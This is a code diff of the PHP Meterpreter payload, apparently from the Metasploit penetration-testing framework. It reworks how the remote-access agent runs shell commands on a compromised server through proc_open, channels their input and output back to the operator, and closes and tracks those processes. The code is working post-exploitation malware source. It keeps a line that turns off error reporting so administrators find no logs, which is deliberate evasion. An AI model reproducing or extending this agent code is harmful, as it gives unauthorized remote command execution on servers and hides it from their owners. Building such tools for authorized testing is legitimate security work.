diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php index 2561025fb0..34bd5110d4 100644 --- a/data/meterpreter/ext_server_stdapi.php +++ b/data/meterpreter/ext_server_stdapi.php @@ -267,12 +267,42 @@ function cononicalize_path($path) { } } -# Need to nail down what this should actually do. In ruby, it doesn't expand -# environment variables but in the windows meterpreter it does -if (!function_exists('stdapi_fs_expand_path')) { -function stdapi_fs_expand_path($req, &$pkt) { + +# +# Need to nail down what this should actually do. Ruby's File.expand_path is +# for cononicalizing a path (e.g., removing /./ and ../) and expanding "~" into +# a path to the current user's homedir. In contrast, Meterpreter has +# traditionally used this to get environment variables from the server. +# +if (!function_exists('stdapi_fs_file_expand_path')) { +function stdapi_fs_file_expand_path($req, &$pkt) { my_print("doing expand_path"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); + $env = $path_tlv['value']; + if (!is_windows()) { + # Handle some basic windows-isms when we can + switch ($env) { + case "%COMSPEC%": + $path = "/bin/sh"; + break; + case "%TEMP%": + case "%TMP%": + $path = "/tmp"; + break; + default: + # Don't know what the user meant, just try it as an environment + # variable and hope for the best. + $path = getenv($env); + } + } else { + $path = getenv($env); + } + my_print("Returning with an answer of: '$path'"); + + if ($path) { + packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path)); + return ERROR_SUCCESS; + } return ERROR_FAILURE; } } @@ -355,27 +385,27 @@ function stdapi_fs_stat($req, &$pkt) { $path = cononicalize_path($path_tlv['value']); $st = stat($path); - if ($st) { - $st_buf = ""; - $st_buf .= pack("V", $st['dev']); - $st_buf .= pack("v", $st['ino']); - $st_buf .= pack("v", $st['mode']); - $st_buf .= pack("v", $st['nlink']); - $st_buf .= pack("v", $st['uid']); - $st_buf .= pack("v", $st['gid']); - $st_buf .= pack("v", 0); - $st_buf .= pack("V", $st['rdev']); - $st_buf .= pack("V", $st['size']); - $st_buf .= pack("V", $st['atime']); - $st_buf .= pack("V", $st['mtime']); - $st_buf .= pack("V", $st['ctime']); - $st_buf .= pack("V", $st['blksize']); - $st_buf .= pack("V", $st['blocks']); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); + if ($st) { + $st_buf = ""; + $st_buf .= pack("V", $st['dev']); + $st_buf .= pack("v", $st['ino']); + $st_buf .= pack("v", $st['mode']); + $st_buf .= pack("v", $st['nlink']); + $st_buf .= pack("v", $st['uid']); + $st_buf .= pack("v", $st['gid']); + $st_buf .= pack("v", 0); + $st_buf .= pack("V", $st['rdev']); + $st_buf .= pack("V", $st['size']); + $st_buf .= pack("V", $st['atime']); + $st_buf .= pack("V", $st['mtime']); + $st_buf .= pack("V", $st['ctime']); + $st_buf .= pack("V", $st['blksize']); + $st_buf .= pack("V", $st['blocks']); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); return ERROR_SUCCESS; - } else { + } else { return ERROR_FAILURE; - } + } } } @@ -397,25 +427,25 @@ function stdapi_fs_delete_file($req, &$pkt) { if (!function_exists('stdapi_fs_search')) { function stdapi_fs_search($req, &$pkt) { - my_print("doing search"); + my_print("doing search"); - $root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT); - $root = cononicalize_path($root_tlv['value']); - $glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB); - $glob = cononicalize_path($glob_tlv['value']); - $recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE); - $recurse = $recurse_tlv['value']; + $root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT); + $root = cononicalize_path($root_tlv['value']); + $glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB); + $glob = cononicalize_path($glob_tlv['value']); + $recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE); + $recurse = $recurse_tlv['value']; if (!$root) { $root = '.'; } my_print("glob: $glob, root: $root, recurse: $recurse"); - $flags = GLOB_PATH; - if ($recurse) { - $flags |= GLOB_RECURSE; - } - $files = safe_glob($root ."/". $glob, $flags); + $flags = GLOB_PATH; + if ($recurse) { + $flags |= GLOB_RECURSE; + } + $files = safe_glob($root ."/". $glob, $flags); if ($files and is_array($files)) { dump_array($files); foreach ($files as $file) { @@ -477,6 +507,8 @@ $GLOBALS['processes'] = array(); if (!function_exists('stdapi_sys_process_execute')) { function stdapi_sys_process_execute($req, &$pkt) { + global $channel_process_map; + my_print("doing execute"); $cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH); $args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS); @@ -489,39 +521,86 @@ function stdapi_sys_process_execute($req, &$pkt) { # If there was no command specified, well, a user sending an empty command # deserves failure. my_print("Cmd: $cmd $args"); - $real_cmd = $cmd ." ". $args; if (0 > strlen($cmd)) { return ERROR_FAILURE; } - #my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")"); + $real_cmd = $cmd ." ". $args; + + # Now that we've got the command built, run it. If it worked, we'll send + # back a handle identifier. + $handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes); + if (!is_resource($handle)) { + return ERROR_FAILURE; + } + + if (is_callable('proc_get_status')) { + $status = proc_get_status($handle); + $pid = $status['pid']; + } else { + $pid = 0; + } + + $proc = array( 'handle' => $handle, 'pipes' => $pipes ); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, $pid)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes))); if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { - global $processes; my_print("Channelized"); - $handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes); - if ($handle === false) { - return ERROR_FAILURE; - } - $pipes['type'] = 'stream'; + # Then the client wants a channel set up to handle this process' stdio, + # register all the necessary junk to make that happen. register_stream($pipes[0]); register_stream($pipes[1]); register_stream($pipes[2]); $cid = register_channel($pipes[0], $pipes[1], $pipes[2]); + $channel_process_map[$cid] = $proc; - # associate the process with this channel so we know when to close it. - $processes[$cid] = $handle; + $proc['cid'] = $cid; - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - } else { - # Don't care about stdin/stdout, just run the command - my_cmd($real_cmd); + #} else { + # Otherwise, don't care about stdin/stdout, just run the command } + $processes[] = $proc; + return ERROR_SUCCESS; } } + +if (!function_exists('stdapi_sys_process_close')) { +function stdapi_sys_process_close($req, &$pkt) { + global $processes; + my_print("doing process_close"); + $handle_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_HANDLE); + $proc = $processes[$handle_tlv['value']]; + + close_process($proc); + + return ERROR_SUCCESS; +} +} + +if (!function_exists('close_process')) { +function close_process($proc) { + if ($proc) { + my_print("Closing process handle {$proc['handle']}"); + # In the case of a channelized process, this will be redundant as the + # channel_close will also try to close all of these handles. There's no + # real harm in that, so go ahead and just always make sure they get + # closed. + foreach ($proc['pipes'] as $f) { + fclose($f); + } + # Don't use proc_close() here because it blocks waiting for the child + # to die. Better to just send it a sigterm and move on. + proc_terminate($proc['handle']); + if ($proc['cid'] && $channel_process_map[$proc['cid']]) { + unset($channel_process_map[$proc['cid']]); + } + } +} +} + # Works, but not very portable. There doesn't appear to be a PHP way of # getting a list of processes, so we just shell out to ps/tasklist.exe. I need # to decide what options to send to ps for portability and for information diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php index 0654acca77..f88f10ead0 100644 --- a/data/meterpreter/meterpreter.php +++ b/data/meterpreter/meterpreter.php @@ -8,6 +8,12 @@ if (!isset($GLOBALS['channels'])) { $GLOBALS['channels'] = array(); } +# global mapping of channels to channelized processes. This is how we know +# if we need to kill a process when it's channel has been closed. +if (!isset($GLOBALS['channel_process_map'])) { + $GLOBALS['channel_process_map'] = array(); +} + # global resource map. This is how we know whether to use socket or stream # functions on a channel. if (!isset($GLOBALS['resource_type_map'])) { @@ -204,7 +210,7 @@ function core_channel_eof($req, &$pkt) { # Works function core_channel_read($req, &$pkt) { - my_print("doing channel read"); + #my_print("doing channel read"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); $id = $chan_tlv['value']; @@ -221,7 +227,7 @@ function core_channel_read($req, &$pkt) { # Works function core_channel_write($req, &$pkt) { - my_print("doing channel write"); + #my_print("doing channel write"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA); $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); @@ -239,7 +245,7 @@ function core_channel_write($req, &$pkt) { } function core_channel_close($req, &$pkt) { - global $processes; + global $channel_process_map; # XXX remove the closed channel from $readers my_print("doing channel close"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); @@ -254,9 +260,10 @@ function core_channel_close($req, &$pkt) { close($c[$i]); } } - if (array_key_exists($id, $processes)) { - @proc_close($processes[$id]); - unset($processes[$id]); + # Make sure the stdapi function for closing a process handle is + # available before trying to clean up + if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) { + close_process($channel_process_map[$id]); } return ERROR_SUCCESS; } @@ -299,12 +306,17 @@ function core_channel_interact($req, &$pkt) { remove_reader($c[2]); # stderr $ret = ERROR_SUCCESS; } else { - # Not interacting - $ret = ERROR_FAILURE; + # Not interacting. This is technically failure, but it seems + # the client sends us two of these requests in quick succession + # causing the second one to always return failure. When that + # happens we fail to clean up properly, so always return + # success here. + $ret = ERROR_SUCCESS; } } } else { # Not a valid channel + my_print("Trying to interact with an invalid channel"); $ret = ERROR_FAILURE; } return $ret; @@ -794,10 +806,11 @@ function remove_reader($resource) { ob_implicit_flush(); +# For debugging +#error_reporting(E_ALL); # Turn off error reporting so we don't leave any ugly logs. Why make an # administrator's job easier if we don't have to? =) error_reporting(0); -#error_reporting(E_ALL); @ignore_user_abort(true); # Has no effect in safe mode, but try anyway @@ -866,9 +879,9 @@ while (false !== ($cnt = select($r, $w=null, $e=null, 1))) { write($msgsock, $response); } else { - my_print("not Msgsock: $ready"); + #my_print("not Msgsock: $ready"); $data = read($ready); - my_print(sprintf("Read returned %s bytes", strlen($data))); + #my_print(sprintf("Read returned %s bytes", strlen($data))); if (false === $data) { $request = handle_dead_resource_channel($ready); write($msgsock, $request); @@ -877,7 +890,7 @@ while (false !== ($cnt = select($r, $w=null, $e=null, 1))) { remove_reader($ready); } else { $request = handle_resource_read_channel($ready, $data); - my_print("Got some data from a channel that needs to be passed back to the msgsock"); + #my_print("Got some data from a channel that needs to be passed back to the msgsock"); write($msgsock, $request); } }